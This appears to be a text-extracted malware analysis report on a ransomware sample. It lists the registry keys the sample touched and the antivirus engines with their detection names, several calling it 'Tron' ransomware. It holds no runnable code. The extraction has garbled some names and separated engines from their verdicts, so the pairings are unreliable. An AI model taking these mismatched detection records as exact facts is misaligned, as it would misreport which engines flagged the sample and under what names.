\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winime32.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IMM32.DLL
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\USP10.dll
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LPK.DLL
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSCTF.dll
\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\IMM\Ime File
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msctfime.ime
\REGISTRY\USER\S-1-5-21-1482476501-1645522239-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\User
Shell Folders\AppData
\REGISTRY\USER\S-1-5-21-1482476501-1645522239-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\User
Shell Folders\Local AppData

\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rsaenh.dll
\REGISTRY\MACHINE\Software\Policies\Microsoft\Cryptography
\REGISTRY\USER\S-1-5-21-1482476501-1645522239-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\User
Shell Folders\Favorites
\REGISTRY\USER\S-1-5-21-1482476501-1645522239-1417001333-500\Software\Microsoft\Windows\CurrentVersion\Explorer\User
Shell Folders\Desktop
\REGISTRY\MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\ImageFileExecutionOptions\996E.exe\RpcThreadPoolThrottle
\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows NT\Rpc
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Ad-Aware
AhnLab-v3
Antiy-AVL

Avast

BitDefender

Cyren

eScan

F-Secure

GData

K7AntiVirus
Kaspersky

MAX
McAfee-GW-Edition
Palo Alto Networks
Qihoo-360

Sophos AV
Symantec
TrendMicro

VIPRE

ZoneAlarm

02l

Trojan.GenericKD.30638600
Trojan/Win32 FileCoder.C2472870
Trojan/Generic. ASVCS3S.1E5
Win32:Malware-gen
TR/FileCoder.lwxgz
Trojan.GenericKD.30638600
W32/Trojan.AFGQ-1295
Trojan.GenericKD.30638600
Trojan.GenericKD.30638600
Trojan.GenericKD.30638600
Riskware ( 0040eff71 )
Trojan-Ransom.Win32.Gen.hwr
malware (ai score=98)
BehavesLike.Win32.Downloader.ch
generic.ml
Win32/Trojan.Ransom.cd3
Mal/Generic-S

Trojan Horse
Ransom_Genasom.RO45CODDN18
Trojan.Win32.Generic!BT

Trojan-Ransom.Win32.Gen.hwr

AegisLab
AlLYac

Arcabit

AVG

AVware
CrowdsStrike Falcon
Endgame
ESET-NOD32
Fortinet
Ikarus

K7GwW
Malwarebytes
McAfee
Microsoft
Panda
SentinelOne
Sophos ML

Tencent

TrendMicro-HouseCall

ViRobot

Avast Mobile Security
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3
lag

Troj.Ransom.W32.Gen!c
Trojan.Ransom.AutoTron
Trojan.Generic.D1D38208
Win32:Malware-gen
Trojan.Win32.Generic!BT
malicious_confidence_809% (W)
malicious (moderate confidence)
Win32/Filecoder.NQF
W32/Gen.HWR!tr
Trojan-Ransom.Tron

Riskware ( 0040eff71 )
Ransom.Tron
Artemis!1F37EEBE61BC
Ransom:Win32/Genasom
Tr/CLA

static engine - malicious
heuristic

Win32.Trojan.Gen.Dzud
Ransem_Genasom.RO45CODDN18
Trojan.Win32.Z.Ranserkd.876032

Clean



